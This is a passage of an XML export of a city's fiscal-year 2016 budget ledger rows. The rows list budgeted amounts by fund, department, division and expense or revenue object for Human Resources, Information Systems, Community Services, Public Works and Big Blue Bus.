<row _id="19890"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>67416</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>67416</total></row>
<row _id="19891"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>357623</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>357623</total></row>
<row _id="19892"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5367</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5367</total></row>
<row _id="19893"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>19400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19400</total></row>
<row _id="19894"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7250</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7250</total></row>
<row _id="19895"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3500</total></row>
<row _id="19896"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>11759</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11759</total></row>
<row _id="19897"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>15930</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15930</total></row>
<row _id="19898"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>55</fund_id><fund_name>Info Tech Rplcmnt &amp; Svcs Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2016</fiscal_year><july>-40000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-40000</total></row>
<row _id="19899"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>588030.0</object><object_description>COMPUTER EQUIPMENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19900"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12388</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12388</total></row>
<row _id="19901"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>218759</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>218759</total></row>
<row _id="19902"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1519</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1519</total></row>
<row _id="19903"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>319</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>319</total></row>
<row _id="19904"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1631</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1631</total></row>
<row _id="19905"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1770</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1770</total></row>
<row _id="19906"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>578310.0</object><object_description>POLICE BEACH PATROL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>441847</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>441847</total></row>
<row _id="19907"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>578470.0</object><object_description>GROUNDSKEEPING TRANSFER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>87398</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>87398</total></row>
<row _id="19908"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>46200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>46200</total></row>
<row _id="19909"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>50260</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>50260</total></row>
<row _id="19910"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>294788</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>294788</total></row>
<row _id="19911"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>790</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>790</total></row>
<row _id="19912"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5174</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5174</total></row>
<row _id="19913"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>720</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>720</total></row>
<row _id="19914"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>566570.0</object><object_description>PERSONNEL EXAM EXPENSES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>69570</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>69570</total></row>
<row _id="19915"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>76066</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>76066</total></row>
<row _id="19916"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>260</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>260</total></row>
<row _id="19917"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>19266</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19266</total></row>
<row _id="19918"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19919"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19920"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>16829</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16829</total></row>
<row _id="19921"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511810.0</object><object_description>TUITION REIMBURSEMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>59083</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>59083</total></row>
<row _id="19922"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1244</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1244</total></row>
<row _id="19923"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6100</total></row>
<row _id="19924"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>156825</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>156825</total></row>
<row _id="19925"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>66884</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>66884</total></row>
<row _id="19926"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555940.0</object><object_description>GRAD NIGHT SUBSIDY</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8752</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8752</total></row>
<row _id="19927"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1588</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1588</total></row>
<row _id="19928"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>407720.0</object><object_description>ENCLOSURE PLAN CHECK FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-64600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-64600</total></row>
<row _id="19929"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577703.0</object><object_description>PROP A REIMBURSEMENT-ADMIN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-50000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-50000</total></row>
<row _id="19930"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>YEAR-END CASH OUTS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19931"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>54640</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>54640</total></row>
<row _id="19932"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7080</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7080</total></row>
<row _id="19933"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2494</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2494</total></row>
<row _id="19934"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>425</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>425</total></row>
<row _id="19935"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>288</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>288</total></row>
<row _id="19936"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5290</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5290</total></row>
<row _id="19937"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>20172</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20172</total></row>
<row _id="19938"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>195874</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>195874</total></row>
